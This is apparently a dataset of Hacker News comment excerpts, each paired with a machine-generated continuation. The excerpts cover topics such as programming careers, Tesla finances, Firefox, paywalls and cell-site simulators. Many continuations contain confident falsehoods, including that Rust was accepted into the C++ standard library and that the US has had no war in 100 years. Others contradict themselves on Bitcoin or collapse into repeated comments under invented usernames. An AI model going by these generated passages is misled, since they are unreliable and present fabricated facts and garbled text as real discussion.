sleeping beauty paradox.\n\n------\ngarbage_stain\n\"Not even wrong\". This entire analysis is built on reasonable statistics which\nare predicated on dubious and unprovable assumptions, which invalidate the\nentire thing.\n\nConsider \"the size of alien species\". Okay... so we are extrapolating about\nthe size of beings we know nothing about based on those beings that have come\nto existence in our particular situation? Assuming that the distribution of\nweight across animals on Earth is the same as the distribution of weight\nacross beings in the universe is dubious.\n\nThis is a wonderful example of Brandolini's law.\n\n~~~\njak1192\nThat is not an example of Brandolini's law. It took a whole website to spew\nthe bullshit but only 3 or so sentences for you to refute it.\n\n~~~\nklue07\ngarbage_"} +{"output_text": " and programming at a young age. It's not a\ndefect in them, it's just how their brain is wired.\n\nIf you're lucky, you might be able to train yourself to become a good\nprogrammer. But it's going to take a lot of work. And a lot of patience. And\nlots of frustration.\n\n~~~\njules\nI'm not sure I agree. I started programming at 13 and have never been a\n\"good\"", "input_text": ".g., strings,\nints, arrays, etc.). Learn about classes, functions, inheritance, etc. These\nare the building blocks of language, if you'll permit extending the analogy--\nit's a bit like knowing how to structure a sentence, capitalize, punctuate,\netc. Learn the language of programming before you ever try to learn a\nprogramming language. This is, perhaps, what you're missing. You're using a\nprogramming language to understand programming. Take a step back and\nunderstand programming itself first. Then sit back down with your language and\ndo programming.\n\nRegardless of chosen language, the task is the same and the result should\n(usually) be the same. The chosen language is really just an implementation\ndetail. You can write a program in Ruby, Python, C, PHP, etc., and it's still\ngoing to be the same program. Most programmers, I believe, tend to choose the\ngrammar & syntax they like best. But the job of programming remains the same.\n\n------\njasonkester\nYou're not going to like the answer, but:\n\nImmediately.\n\nLike in the first 5 minutes. When I was seven years old.\n\nAnd frankly, if it didn't happen like that for you, you're pretty much\nscrewed.\n\nEvery good programmer I've ever known started doing it young and immediately\njust \"got it\". Most mediocre programmers I know followed the path you're on,\nlearning it in a class in school, fighting to get things done, eventually\ncoming up with ways to solve particular problems, but never attaining fluency.\n\nTry not to feel bad about it. It's just about the way your brain is wired.\nGood programmers have a specific something wrong with their brain that makes\nthem ridiculously good at logic"} +{"output_text": "\n~~~\nmikemoka\nI think this is a good thing, I'm a big fan of Angular but I think it's a\nshallow approach to web development. I'd like to see more focus on the\nunderlying web technology and less on the templating engine.\n\n------\njondubois\nI think the biggest mistake the React team made was to build their own\nimplementation of the Model-View-Controller (MVC) pattern. This is", "input_text": "~~~\nreeses\nYou can make transistors with some...hazardous components, but you may want to\nstart with relays or tubes and resistors (which could, theoretically, just be\nvarying lengths/guages of wire) and build NAND gates. It would be big, hot,\nnoisy, slow, and a huge waste of your time, but there were computers before\nsemiconductors.\n\n~~~\nSomeone\nFor the curious: here's how you make your own tubes from glass, metal wire and\nmetal sheets: .\n\n------\nsmrtinsert\nBest coding I do is with a pen and paper.\n\n------\nVinzO\nThat makes me wonder what we will think 30 years from now, when we look back\nat how we develop software today.\n\n------\neksith\nArticles like this inspire awe and shame in me at the same time. Is there an\nemotion called Aweshame?\n\n------\nTomis02\n\"...typically I reach for the brain debugger before gdb\".\n\nGdb, wow. So he'll still coding like in 1985.\n\n \n\nReact and Angular Meeting - scriptle\nhttps://docs.google.com/document/d/1QZxArgMwidgCrAbuSikcB2iBxkffH6w0YB0C1qCsuH0\n\n======\norand\nFascinating comment from Christopher Chedeau of React: \"The end game isn\u2019t\nReactNative. We want the web to win. Would be great for Angular to try to\nimplement on top of our same primitives to see if we could share the work.\"\n"} +{"output_text": "\nprofitable.\n\n[1] [http://www.tesla.com/blog/free-cash-flow-q4-2016](http://www.tesla.com/blog/free-cash-flow-q4-2016)\n\n~~~\npasta\n> Check out their free cash flow [1]. You'll see that it's always in the red\n> before production scales up (Model S first, then the X, and now the 3", "input_text": "\nthings as maintaining their zero.\n\n~~~\nforkLding\nYea I included the mechanics who do maintenance in my paragraphs when I was\ntalking about labourers, you might have to reread that part, when I was there,\nthey largely hang out in one roofed area within and arent utilized as heavily\nas you expect.\n\nI think from a layman perspective we expect mechanics to be constantly busy\nand fixing and maintaining but they only fix if there are issues and with a\ncompany like Toyota the realization is that they're so experienced and\nfamiliar that the maintenance costs reduce with time simply because its\ncheaper and much more efficient that way and because its much easier to fix\nthe same issues.\n\nAs well, a mechanic that is fully utilized is actually a bad thing as that\nmeans you plant is constantly being shut down to fix things and not producing\ncars, as thats how you fix things in a TPS system.\n\nAlso car plants nowadays are wonderfully automated, the materials were being\nshipped around using driverless carts with sensors and music to alert people\nor things in their way. Its also suprisingly devoid of human noise aside from\nthe machines clanking.\n\n------\npasta\nThe biggest cost of any car is R&D.\n\nSo this article doesn't tell us much.\n\n~~~\ntoomuchtodo\nIt tells you what Tesla's margins are going to be, as R&D cost per unit\ndecreases/is amortized over more units as production scales up. Check out\ntheir free cash flow [1]. You'll see that it's always in the red before\nproduction scales up (Model S first, then the X, and now the 3).\n\nTL;DR If production continues to scale up, the Model 3 will be wildly"} +{"output_text": " AT, or in the Marines, or something else challenging,\nover someone who went to an elite college._\n\nI think this is a great example of the problem. The problem is that the\n\"challenges\" are not really challenges to the normals. They are things that\nrequire a significant amount of work to even attempt.\n\nFor example, I have friends who spent years working in factories, and still\ncouldn't pass the basic GMAT. They worked their but", "input_text": " top decile (or higher) of book-smarts --> can largely be done by online communities (not a full replacement for interpersonal interaction but better than what was available before)\n\n* Access to top-tier employers who didn't have time to look through every candidate out there, so economized their recruiting efforts at places where smart young people are concentrated --> this model made largely obsolete by internet\n\n* Access to lots of obscure books at college library --> made completely obsolete by internet\n\n* Access to great lectures --> made obsolete by internet / MOOCs\n\n* Access to a diversity of opinions, the exposure to which will make you a better and more informed person --> these days only applicable if you come from a very sheltered conservative background....otherwise college just reinforces existing biases\n\nIf I had to choose between two candidates with the same proficiency in a\ntestable skill set (JavaScript, GAAP accounting, laying brick, whatever else),\nat this point I'd probably prefer someone who spent four years working on a\nfishing boat, or trying to make it as a musician, or on a church mission, or\nhiking the PCT / CDT / AT, or in the Marines, or something else challenging,\nover someone who went to an elite undergrad institution. They just seem more\nand more like indoctrination mills that crank out entitled little whiners.\n\n//grumpy old man rant over\n\n~~~\nenjo\n_If I had to choose between two candidates with the same proficiency in a\ntestable skill set (JavaScript, GAAP accounting, laying brick, whatever else),\nat this point I 'd probably prefer someone who spent four years working on a\nfishing boat, or trying to make it as a musician, or on a church mission, or\nhiking the PCT / CDT /"} +{"output_text": " implementations\non Linux.\n\n------\npjmlp\nThe article is from 2014, and since then, Rust has been accepted into the\nstandard library of the current version of the C++ standard.\n\nSo, the situation is a bit better than it was then.\n\n------\npjmlp\n> The C++ standard does not specify how to implement a class. The standard\n> says that the class must have all the required members, but it does not", "input_text": "ambiguate this by prescedence, though it would be very ugly in the lexer\n(you could never have a STARSTAR token, it would have to be handled in the\ngrammar) and would be terribly confusing.\n\n------\nxroche\nYep, this is my biggest issue with C++: you now have lambdas functions and an\ninsane template spec, but you just can not \"realloc\" a new[] array. Guys,\nseriously?\n\n~~~\nbnegreve\nIf you need to realloc a fixed size array, souldn't you use a std::vector\ninstead?\n\n~~~\nmarksamman\nYou probably should, but the problem is still there because std::vector\nimplementations don't use realloc. They call new[] with the new size, copy\nover the data and delete[] the old chunk. This eliminates the possibility to\ngrow the vector in-place.\n\n~~~\nbnegreve\nIt's the same with realloc: there is no guarantee that it will grow the chunk\nin place.\n\n~~~\nxroche\nNo. Modern realloc are efficient, when moving large memory blocks, because\nthey rely on the kernel ability to quickly relocate memory regions without\ninvolving memcpy() (through mremap() on Linux).\n\nEdit: shamelessly citing my blog entry on this subject:\n[http://blog.httrack.com/blog/2014/04/05/a-story-of-\nrealloc-a...](http://blog.httrack.com/blog/2014/04/05/a-story-of-realloc-and-\nlaziness/)\n\n~~~\ndavidtgoldblatt\nThis isn't true for either of the common high performance malloc"} +{"output_text": " college, you'll have a\nlot more explaining to do to potential employers.\n\n------\njoeevans1000\nI think the biggest mistake people make is to try to make the world fit them\nmore than they try to fit the world around them.\n\n------\njoeevans1000\nI think the biggest mistake people make is to try to make the world fit them\nmore than they try to fit the world around them.\n\n------\njoeevans", "input_text": " that the time I spent in the trenches actually made me appreciate\nschool MORE. When I got back, my desire to learn was back. I don't think I\nwould have appreciated school as much if I hadn't just gotten out there.\n\nI've decided to count my time in the valley as \"studying abroad\" ;)\n\n------\nnorthisup\nDon't let somebody else tell you that your square peg needs to fit in that\nround hole over there.\n\nI have a B.S. and a M.S. in computer science and I am 100% confident that it\nwas the right choice /for me/. I also work at DISQUS with some of the smartest\nbest systems engineers I have ever known, none of them took computer science,\nonly some graduated college, and some never even finished high school.\nEducation is a very personal thing and America's system works for most people,\nbut when it feels wrong go find something else that feels right.\n\n~~~\njmcdonald-ut\nI couldn't agree more. As a current student, dropping out doesn't appeal to\nme. I enjoy the structure presented by my classes and the college social life\noutside of classes. This has been the right choice for me, but for others it\nmost certainly would not be.\n\nDo what you feel is right. When it comes to a big choice like this I feel like\nsubconsciously you just know what is right for you.\n\n------\nkyle_t\nSolid advice. If it doesn't work out and you quit your job to pursue the\nstartup you might have a smaller bank account but you will have another solid\nitem for your resume and it shouldn't be too hard to find a new job. If on the\nother hand it doesn't work out and you dropped out of"} +{"output_text": " programmer, she could\nprobably fix that.\n\n------\njimbokun\nI think the problem is that we don't really have a good way to test the\ncorrect behavior of a program. We have a lot of tools to test that the code\nwill compile, and that it will do what we expect it to do.\n\nBut we don't have a good way to test that the code will do what we expect it\nto do, and we don't have a", "input_text": "\nThis fact drives me insane. It's theoretically possible to write a perfect\npiece of software that can never fall down, break, blow up, etc. But it's\nactually pretty much impossible in practice unless you have either near\nunlimited resources (NASA in the 60's), but even with that you still might\nfail (Microsoft).\n\n------\nsynnik\nThere are two completely different conclusions that I would draw from his\nfacts:\n\n1) Most bugs are in code. But it might not be your code. Your code layers\nitself on top of many other layers of code that are outside of your control.\nLearning to deal with that will make a difference in your work.\n\n2) Know how everything works. I am always hocked at people who claim to be web\ndevelopers who don't even understand how an HTTP request/response works, much\nless what your browser does with the results. It is one of my interview\nquestions for tech folk - I ask them to explain to me exactly what happens on\nthe server when a browser sends it a request. Few people can give much detail\nhere. Most can only give a generic explanation of the actions taken, if that.\n\n------\nrickdale\nMy biz partner has a GPS system from garmin. He lives in the central time\nzone, but works in the eastern time zone. Any time we use the GPS it will\nalways add an hour to our trip when we are in EST.\n\nProgrammers aren't perfect. Practice makes permanents.\n\n~~~\nJoeAltmaier\nHa! And my sister went to Egypt and looked up the gps distance to home (Iowa):\n8000 miles. Off by 50%. Why? The programmer was doing cartesian distance\ninstead of great-circle. So yes, if she drilled a"} +{"output_text": " to\nmake them look more valuable.\n\n~~~\njfoutz\nI think that's a pretty good summary. I'm not sure I would have thought of it\nmyself.\n\n------\njfoutz\nI think this is a great example of how a good story can be ruined by a poorly\nexecuted blog post.\n\n------\njfoutz\nI think this is a great example of how a good story can be ruined by a poorly", "input_text": " to becoming a subject on Snopes:\n\n\n\nIt seems that the writer at NYMag hit his word count by extending the\nbackground on the brand, since he had a ready source available with the\nmarketing/PR department at Procter. I think this could have been more\ninteresting if it went into the direction of exploring the economics at work.\n\n------\njustx1\nStolen bicycles are another example of a drug currency:\n[http://blog.priceonomics.com/post/30393216796/what-\nhappens-t...](http://blog.priceonomics.com/post/30393216796/what-happens-to-\nstolen-bicycles)\n\nInteresting read about the \"Economic Theory of Bike Crime\": \"...Using this\nrisk-return framework for crime, it begins to be clear why there is so much\nbike theft. For all practical purposes, stealing a bike is risk-free crime. It\nturns out there is a near zero chance you will be caught stealing a bike (see\nhere) and if you are, the consequences are minimal. \"\n\n------\nchrisballinger\nI'm surprised no one has made a money laundering joke yet.\n\n~~~\nryusage\nThis isn't reddit.\n\n~~~\nguyzero\nIn your dreams. This isn't 2008 Hacker News either.\n\n~~~\nryusage\nTrue enough, but it's still not the place for stupid pun threads.\n\n------\nnorswap\ntl;dr: Thieves and crackheads are using Tide bottles as currency, because\nthose are getting bought by some stores under their market value in order"} +{"output_text": " lot of assumptions about Bitcoin that are not necessarily\ntrue. For example:\n\n> Bitcoin is a currency, not a store of value.\n\nThis is not true. Bitcoin is a store of value, but it's also a currency.\n\n> Bitcoin is not a currency, it\u2019s a digital commodity.\n\nThis is also not true. Bitcoin is a currency, but it's also a commodity.\n\n> Bitcoin is not a store of value, it\u2019s", "input_text": "\n~~~\npolyakoff\nThere is plenty of services like this nowadays. I recall TrensferGO and\nRevolut. There is even a service for fees comparison amongst those services,\ndeveloped be hackernews fellow reader:\n[https://news.ycombinator.com/item?id=20819538](https://news.ycombinator.com/item?id=20819538)\n\n~~~\ntoomuchtodo\nExcellent resource!\n\n------\nTooSmugToFail\nSo much nonsense in this article, don't know where to start...\n\n~~~\nIshKebab\nYeah I stopped reading after this:\n\n> At its core, bitcoin is just an extension of the old PGP, or Pretty Good\n> Privacy encryption protocol.\n\n------\nbasicplus2\nThis is also about getting out of being \"locked into\" a larger overall economy\nrun for the benefit of a few and creating local economies.\n\nPeople with land and/or skills could create new economies by trading directly\nwith each other with what they produce and opt out altogether..\n\nIn a way it is the final defence of a people against control and oppression or\ninsane hyperinflation, but is more dificult to do if you are stuck in a city\nor additcted to modern technology.\n\n------\nanm89\nAre they trying to say Bitcoin will not remain a totally unregulated, totally\ncompromised and idealistic cryptoanarchocapitalist utopia forever? Are they\ntrying to say that Bitcoin won't solve all of the world's problems and\nbringing on a new utopian era??\n\nI refuse to believe it. Because if that were true bitcoin would surely vanish\ninto thin air.\n\n------\nSargos\nThis article makes a"} +{"output_text": "present, but the team was so focused on getting the product into users' hands\nthat they didn't have the time or mental energy to deal with the technical\naspects of it.\n\nI've also been in situations where we've been able to make a change to the\nproduct without having to go through the process of building it, testing it,\ndeploying it, and then rolling back if it doesn't work. That's obviously a\nbigger win than just pushing", "input_text": "https://henrikwarne.com/2017/11/19/benefits-of-continuous-delivery/\n======\ncoldcode\nI find continuous delivery to the mobile app stores to be rather silly and\nwasteful, updating your app every two weeks for example consumes vast\nbandwidth especially for people with automatic updates on. The benefits of\nchanging apps on such a quick basis makes it unlikely customers will even\nnotice changes or be able to adapt to what's new or different. Being able to\ndelivery quickly is not the same as having it be automatically useful, just as\nbeing able to easily add some new functionality is not the same as having that\nbe useful or desirable to the end user.\n\n~~~\nchaosphere2112\nOn the bandwidth end, both Android and iOS do use incremental updates ([1],\n[2]); if the changes are something that you would be releasing eventually\nanyway, you're not wasting any bandwidth, and are instead loadbalancing it\nover multiple payment periods.\n\n[1]: [http://www.androidpolice.com/2016/07/23/new-play-store-\ntools...](http://www.androidpolice.com/2016/07/23/new-play-store-tools-help-\ndevelopers-to-shrink-the-size-of-app-updates/)\n\n[2]:\n[https://developer.apple.com/library/content/qa/qa1779/_index...](https://developer.apple.com/library/content/qa/qa1779/_index.html)\n\n------\nryanbrunner\nI like that this article doesn't focus too much on the technical aspects of\nauto-deploys and CI. I've been in a lot of places where the concepts were\n"} +{"output_text": "_owl\n> I agree. Having a scrollbar as a percentage completion indicator is a very\n> nice thing.\n\nAgreed. I would rather have a scrollbar that is half way up the page than\nrandomly at the top or bottom.\n\n------\njamespitts\nI agree that reading is hard for a lot of people, but I think the author\noveremphasizes the importance of text formatting.\n\nReading text in isolation is hard", "input_text": "ed. My 6yo reads for 30min+. Even my 3yo will happily look through\npicture books for 15-30min.\n\n~~~\nholri\nWell, if you happen to be a music teacher for kids you see the very poor\nconcentration levels of the average kid. You also see the progress of it over\ntime and age. And that nearly every parent is overestimating the skills of\ntheir own kids.\n\n------\ndigi_owl\nI don't have a problem reading when it is properly paginated like a book or\nebook. But when i read a online article it becomes something else because it\nis just a very long scroll of text. Perhaps the one thing the web really need\nis a pagination API...\n\n~~~\nwoah\nI prefer a long scroll of text. Less distraction. Books are paginated\narbitrarily, and it's quite a large aspect of the experience to be left up to\nrandom chance.\n\n~~~\n_asummers\nI agree. Having a scrollbar as a percentage completion indicator is a very\nnice thing. I can also highlight the text on the page where I was at in the\nlikely event I get distracted and have to move on to something else. At this\npoint, I do this out of habit on any article longer than a few paragraphs.\n\nSide note, if your site pops up a stupid SHARE THIS ON FACEBOOK AND TWITTER\nwhen someone highlights text, I most likely won't read your articles. I didn't\nread this one because Medium does this; SBNation articles do this, too and my\nbrowser now loads custom Javascript on their pages to remove it. It's\ndistracting and serves no real purpose, except to take me out of my flow of\nreading.\n\n~~~\ndigi"} +{"output_text": " by default if you have the fastcgi_params \"enable_fastcgi_params\n= On\". If you comment out that line, you can use a local directory as a\n\"try_files\" directory.\n\nI have a try_files directive in my local /etc/nginx/snippets/ directory that\npoints to a local directory. For example:\n\n \n \n try_files $uri/ /index.html;\n \n\nThis is", "input_text": " big deal.\n\n~~~\nmeowface\nThere's also the small issue that every minute that passes is another\npotential minute an attacker is stealing sensitive data, PII, and email/IM\nlogs from your company's internal network, and backdooring other servers,\ninstalling ransomware, etc. That requires far more than a wipe and restore to\ndeal with, and could potentially result in a massive financial and\nreputational loss.\n\n~~~\narpa\nThat seems far fetched in most saneish setups of PHP. The only risk, really,\nis the apps' own data. Which is also where microservices shine - chaining\nattacks like this is exponentially more difficult then. Unless, of course,\nyour app is a monolith, isn't sandboxed and segregated from the rest of\ninternal network (i.e. on the same server), and the rest of the network is\nvery, very vulnerable so the attacker can chain these exploits just right. The\npossibility is not that high if you're not a high profile target and if you're\na high profile target, well, you should know better than to keep all of your\neggs in the same basket. And if it's a shared vps where such things can\nactually happen, the hosting provider should take care if it.\n\n~~~\nmeowface\nI think you very greatly overestimate the typical level of isolation and\n\"sanity\" of most setups in general, let alone most PHP setups (which are\nlikely generally much worse than most other setups).\n\n~~~\narpa\nHave more faith in fellow man, brother!\n\n------\nkijin\nUbuntu has a try_files directive in /etc/nginx/snippets/fastcgi-php.conf that\nis included"} +{"output_text": "'s not that it's not\nsupported, it's just that it's not very good at what it does. It's not great\nfor when you need to scale out and have a lot of records. It's also not great\nfor when you need to be able to do things like pagination and sorting.\n\n~~~\nmwexler\nI agree that it's not great for scaling out, but I don't think that's the\nreason for IndexedDB being \"", "input_text": "liked the\nexperience (messy code/overhead) and haven't had any desire to write another\nwith a client side DB again. The bright side for is however it drove me to\nlearn iOS and Android development... not such a great day for the web though\nas I suspect my experience isn't unique.\n\n------\nmwexler\nAs always, there are some problems IndexedDB document stores solve well, and\nothers that SQL is really well suited for, and I think it's great to have both\noptions. What sucks is when people say \"Sure, we'll support that there is more\nthan one way to do this (TMTOWTDI), as long as you recognize that my way is\nthe right way in almost all foreseeable cases, so we'll build the tool this\nway\". That statement is rarely correct, especially when making a browser\ncapability. (Yes, I know, trying to disprove a generalization with a\ngeneralization isn't very persuasive. Oh well.)\n\nI read all the concerns (it's a standard built around sqllite, and who wants\nthat?!?!, etc.) and I still sigh a sigh of disappointment that it's come to\nthis. I know, Web SQL isn't going away, as the author points out, but it will\nbe a 2nd class citizen for the foreseeable future, and that's just a missed\nopportunity, imho.\n\n~~~\nyogo\nExactly they both have scenarios that they work very well for just like you\nhave with the server-side SQL RDBMS and the NoSQL ones. IndexedDB is fine for\nsimpler apps or apps where there isn't a real need for joining, grouping and\nordering the records in a very flexible way.\n\nWeb SQL is definitely dead in native Chrome apps. It"} +{"output_text": " a database\nof pre-defined puzzles.\n\n\\- A web based sudoku solver, content automatically generated from a database\nof pre-defined puzzles.\n\n\\- A web based tic-tac-toe game, with a nice AI engine.\n\n\\- A CLI tool to convert between different Sudoku variants.\n\n\\- A CLI tool to convert between different Tic-tac-toe variants.\n\n\\- A CLI tool to convert between different Cross", "input_text": " and building another (python) web\nframework then that's fine too. One difference is that many of the above side\nprojects are new and do things that we didn't have prior to someone building\nthem, meanwhile yet another web framework a la bottle et al is really\ncontributing very little new.\n\n~~~\nfreework\nIts not about size, its about length of development. Great software takes more\nthan a few days to create. I think the most direct indicator of software\nquality is number of commits. A project with 10 commits is probably full of\nbugs. A project with 400 commits has probably had enough chance to adapt\nreally well to whatever problem it is supposed to be solving. Its not a direct\ncorrelation, but its usually true.\n\nI've had co-workers who had 50 github repos all filled with 30 line \"projects\"\nwith 5 commits each. Those types of projects don't make you a better\nprogrammer. Work on the same project all year. That will make you a better\nprogrammer. Craft the project. Let it adapt. Test it, deploy it. Tweak it.\nDeploy it again. Seek feedback from users. Tweak it some more. Going through\nthat process _will_ make you a better programmer.\n\n~~~\nluckysh0t\nSounds more like the day job than a side project.\n\n------\nreidrac\nThat's a good list!\n\nWhen I start a side project I tend to forget that after it's \"done\" I have to\nmaintain it. In fact I've been delaying the inevitable and I should kill a\ncouple of them ASAP (hey, that's a good new year's resolution!).\n\nMy 2012 list is quite short:\n\n\\- A web based crossword app, content automatically generated from"} +{"output_text": " if you should do A/B testing or not. The\nanswer is, it depends. If you are a startup with limited resources, I'd say\nA/B test. If you are a large company with a large marketing team, I'd say\ndon't A/B test.\n\n> Trivia stuff doesn't excite me anymore, I don't see what and how have I\n> changed things around me by merely just knowing more.\n\nIt's not", "input_text": " only to find you are likely to forget it 2\nyears down the lane anyway, is a wrong way to be spending your time.\n\nAs a programmer what excites me most is a new challenge I've never faced\nbefore, And the journey of hard work, discovery, failure and success that\nfollow from such a attempt. I don't mind failing while doing something even if\nI don't know much about it. I'm likely to learn them by discovering and\nreading new things, than spending straight 1 years learning all from a book\nwithout knowing where they will be ever used up.\n\nThe only thing that excites me besides money is the joy of discovering new\nthings, and realizing that I might have solved a real world problem that might\nbe helping someone. Trivia stuff doesn't excite me anymore, I don't see what\nand how have I changed things around me by merely just knowing more.\n\nLife is really short, I know I have little time to make all the money I want\nso that I can see the other parts of life. I know coding and math are\nexciting, but they are among the many things that are exciting in life. Think\nof it this way, you might have a favorite Ice cream flavor, but unless you\ntaste other flavors how would you ever know if others are better? Or after\ntrying the other flavors you might just discover you have a new favorite\nflavor!\n\n~~~\nirahul\n> But isn't this getting overboard?\n\nNaive bayes, with a relevant dataset, does a very fine job of data\nclassification(sentiment analysis, spam detection...). Also, almost everyone\nwho isn't a liberal arts major would have come across Bayes theorem in high\nschool or college.\n\nThe question about A/B testing is"} +{"output_text": "\n\n~~~\ntptacek\nI think this is a really good point. It's not like Google is running a massive\nspy ring. But it's also not like Google is running a high-trust environment.\n\n------\njdp23\nI'm not sure I understand the outrage. It sounds like this guy was a pretty\nbad actor. It's also pretty clear that Google's security controls are not\nperfect.\n\n~~~\ntptacek\n", "input_text": "RE\" isn't a very strong answer here?\n\n~~~\nbtilly\nI think you don't know what you are talking about here.\n\nIt is like someone seeing an ad for entrepreneurs that says, \"Willing to work.\nWilling to take risks. Strong computer skills a significant plus\".\" And then\nconcluding that the bar to being a successful entrepreneur is very low so they\nshould be dismissed as a group.\n\nBecoming an SRE is much, much harder than just having the credentials you\nlisted. Being an SRE generally does not give you full access to everything at\nGoogle. I never met this one, so I don't know what his role was or why he was\ngiven that level of access. But that access really isn't something that just\ngets handed out to people off the street.\n\nThe fact that you found that ad, and that Google screwed up this particular\ncase, doesn't say that Google doesn't limit who gets access to sensitive data.\n\n~~~\ntptacek\nI think you're extrapolating too much out of my comments. I'm saying that \"SRE\nis an important job\" doesn't answer the concern. I'm not surprised that Google\nhas controls beyond \"you're an SRE, you can do whatever you want\" --- in fact,\nI'd be shocked if they didn't. But it sure sounds that way from the story that\njust broke yesterday.\n\n------\njacquesm\nAt first glance, google comes off pretty good on how they dealt with this, but\nyou have to wonder how come a single engineer has access to google voice _and_\ngoogle mail and IM data of end users. SRE's as these employees are labeled\n(site reliability engineers) are 'highly experienced engineers who can be\ntrusted'."} +{"output_text": " university and are therefore more likely to be\nremainers.\n\nI think this is a really interesting concept because it suggests that the\npolitical class is not just made up of people who went to university and\ntherefore have a particular worldview, but that it's also made up of people\nwho have chosen to go into politics because they believe it gives them\nparticular skills that they can use to make a difference in the world.\n\nI think this is borne out by the fact that", "input_text": " young. Extrapolate that out to a decade, two decades, or an\nentire career and I bet we would both be singing a different tune.\n\n~~~\nnoir_lord\nOh I'm sure, some of those jobs would break you if you did them for a decade\nor two, it's why I got into programming after training as an industrial\nelectrician, I looked at the guys I was working with who where 20-30 years\nolder than me (40-50) and they where messed up so I took a different path.\n\nAgain though I don't regret it, the training was useful and it taught me life\nskills that are applicable to software engineering (though the stakes are a\nlittle lower when not working with 11kV systems).\n\n~~~\nfzzzy\nSerious question, you don't think programming is going to break you after a\ndecade or two?\n\n~~~\nnoir_lord\nI've been doing it full time since my mid-20's and I'm 39..so no?\n\n------\nfrereubu\nAs David Runciman has pointed out in his book How Democracy Ends and on the\nTalking Politics podcast -\n[https://www.talkingpoliticspodcast.com/blog/2017/71-how-\ndemo...](https://www.talkingpoliticspodcast.com/blog/2017/71-how-democracy-\nends) \\- if you could only ask one question of someone you'd never met before,\nwhich would give you the best possibility of guessing whether they'd voted for\nBrexit, it would be whether they went to university (Remain) or not (Leave).\nHe argues that, in the UK at least, there's a bubble of professional\npoliticians who all went to"} +{"output_text": " am a big fan\nof Firefox's speed and privacy.\n\nI am not a fan of the \u201cNew Tab\u201d thing, the overhauls of the bookmarks system,\nthe \u201cSpeed Dial\u201d, the \u201cAwesomebar\u201d, the \u201cHunspell\u201d thing, the \u201cPocket\u201d, the\n\u201cOffline\u201d thing, the \u201cNew Tab Page\u201d, the \u201cNew Gmail\u201d thing, the \u201cImporter\u201d,\nthe \u201cDeveloper\u201d thing, the \u201c", "input_text": " must be signed by Mozilla to be installed with no ability to\noverride, they turned HTTP/2 into an agenda by making TLS mandatory in spite\nof the IETF's decision on that. They continue to blow off per-tab process\nsupport, and 64-bit Windows builds are _still_ not mainstream. And that's off\nthe top of my head, I'm sure there's more. Eich doesn't even have to factor\ninto this, no matter which side of that you're on.\n\nYou can like or hate any one of those, and yes if you want 20 extensions you\ncan mostly make it look and act like it used to. (Plus, they talk about\nremoving all that stuff to simplify and unbloat the UI, and then they add\nuseless crap like Firefox Hello in its place.) But each time they changed\nthings and completely ignored their user's feedback, they lost a few more\nusers to Chrome. I don't really like Chrome all that much either, but at least\nit's not a constantly changing target, where you never know what feature\nyou're going to lose because of an auto-update.\n\nFirefox's decline wasn't any one great catastrophe: it's been death by a\nthousand papercuts.\n\nIt's really simple: if you offer a feature at one point, and you want to keep\nyour users happy, then you don't completely remove that feature from them in\nthe future. You can default to something else, fine, but you make an effort\nfor people who liked the old way. Microsoft understood this up until Windows\n8. And it looks like they're relearning that lesson again a bit with Windows\n10's changes.\n\n~~~\nIgorPartola\nFunny, the list you provide are all the changes I really like. I"} +{"output_text": "'s a pretty good example of how a paywall can work - you have a very\nstrong paper/online split, and you have a very strong online subscription\nbase. If you were to remove the paywall, and allow anyone to read the paper\nonline for free, and then charge a small amount for online access, you would\nlikely see a very strong increase in online revenue.\n\n------\njdp23\nThe New York Times has been experimenting with a paywall for a", "input_text": "2012/03/newspaper-sales-\nslid-t...](http://newsosaur.blogspot.com/2012/03/newspaper-sales-slid-\nto-1984-level-in.html)\n\n~~~\nghshephard\nThe graph is apparently not inflation adjusted - so it de-emphasizes the drop\nin print advertising as compared to 1984- that is, on the graph, a dollar spen\nin 1984 is equal to a dollar spent in 2012. As a side note - anybody who ever\nplots $ over time, please add a small caption that either says \"inflation\nadjusted\" or \"not inflation adjusted\" - the educated reader will appreciate\nthat greatly.\n\n------\nnkassis\nHas anyone looked at the impact of paywalls on revenues? Has it led to an\nincrease in online revenues for those who attempted it?\n\nThe problem with the metric used in the article is that it doesn't say much.\nWas it less online revenues that cause the ratio to drop? Was it an\nacceleration of people unsubscribing from the paper version? Are print ads now\nworth less than they used too by impressions?\n\n~~~\nTylerE\nDon't know how much I an really disclose, but, for us (small-ish daily, ~20k\ncirc), once we went to a (partial) paywall, circulation defiantly went up. Our\nmodel is that you must be a subscriber to get through the paywall, all print\nsubscribers get online as well - you can get online e-edition/pdf access\nwithout home delivery, but it costs the same.\n\nOur circulation is higher than it was two years ago. Not sure many papers can\nsay that.\n\n~~~\nghshephard\nThat"} +{"output_text": " the actual document.\n\n~~~\ndogma1138\nI understand that but the actual link is there for a reason.\n\nI don't understand why people are complaining about the article when they\ncould just read the article and then complain if they want.\n\n~~~\ndeclan\nI'm not complaining about the article. I'm complaining about the HN\nunintentionally linking to a blog post and an article about a court opinion\nrather than linking to the opinion itself", "input_text": " site simulators\" Somehow I don't think they'd call it that if I\n\"simulated a law enforcement officer\", presented a \"simulated identification\ndocument\", or enticed someone to pay me for a \"simulated service\", opening\nmail addressed to my \"simulated persona\" but not to me, etc. These devices are\nfraudulently impersonating users' cell service carriers. They are fake cell\ntowers.\n\n~~~\nthaumasiotes\nThey likely operate with permission from the cell service carriers, which\nwould make a big difference legally.\n\n~~~\nTazeTSchnitzel\nDo they? Why would the Govt. tell the carriers about it?\n\n~~~\ntoomuchtodo\nBecause without carrier permission, they're violating Federal laws\nadministered by the FCC.\n\n~~~\nscintill76\nWithout carrier permission, they might be violating some type of interference\nregulations, but I would also think the fake cell device itself and maybe its\noperator would need FCC licenses regardless of carrier permission. As an Ars\nTechnica post I linked in another comment shows, the cell sites are probably\nbeing used outside of the constraints of their FCC licenses.\n\n------\ndogma1138\nThis is the actual link [http://law.justia.com/cases/federal/district-\ncourts/illinois...](http://law.justia.com/cases/federal/district-\ncourts/illinois/ilndce/3:2015mc00021/317964/1/)\n\n~~~\ndeclan\nWell, yes, but HN often links to blog posts and news articles about a court\nopinion rather than the opinion itself.\n\nA summary (that links to the opinion) tends to be more useful to non-\nspecialists than"} +{"output_text": "\nThanks for the correction.\n\n------\nm3kw9\nThe US was the only superpower to not have a war in the last 100 years.\n\n~~~\nm3kw9\nI mean the last 100 years\n\n------\nm3kw9\nThe US is the only superpower to not have a war in the last 100 years.\n\n~~~\nm3kw9\nI mean the last 100 years\n\n------\nm3kw9\nThe", "input_text": " and after\nVietnam, just sought to make a constant stream of wars and armed conflicts\nmore palatable to the public.\n\nThe problem is the sheer amount of war, constant 